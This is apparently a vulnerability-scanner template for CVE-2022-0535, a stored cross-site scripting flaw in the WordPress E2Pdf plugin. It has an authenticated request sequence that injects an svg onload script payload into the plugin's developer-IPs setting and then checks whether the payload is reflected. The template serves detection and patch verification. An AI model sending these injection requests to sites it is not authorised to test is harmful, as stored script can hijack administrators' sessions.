id: CVE-2022-0535

info:
  name: WordPress E2Pdf <1.16.45 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Update the WordPress E2Pdf plugin to version 1.16.45 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a4162e96-a3c5-4f38-a60b-aa3ed9508985
    - https://wordpress.org/plugins/e2pdf/
    - https://mikadmin.fr/tech/XSS-Stored-E2Pdf-798ef69b0e13c36acf5446358d57c965Dx90666bNvCw98.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0535
    - https://plugins.trac.wordpress.org/changeset/2675049/e2pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-0535
    cwe-id: CWE-79
    epss-score: 0.00112
    epss-percentile: 0.43647
    cpe: cpe:2.3:a:e2pdf:e2pdf:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: e2pdf
    product: e2pdf
    framework: wordpress
  tags: cve2022,wp-plugin,xss,authenticated,e2pdf,wpscan,cve,wordpress,wp

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes
      - |
        GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    req-condition: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(body_4, 'placeholder=\"Developer IPs\" ></textarea><svg/onload=alert(document.domain)>')
          - contains(header_4, "text/html")
          - status_code_4 == 200
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_nonce" value="([0-9a-zA-Z]+)"'
        internal: true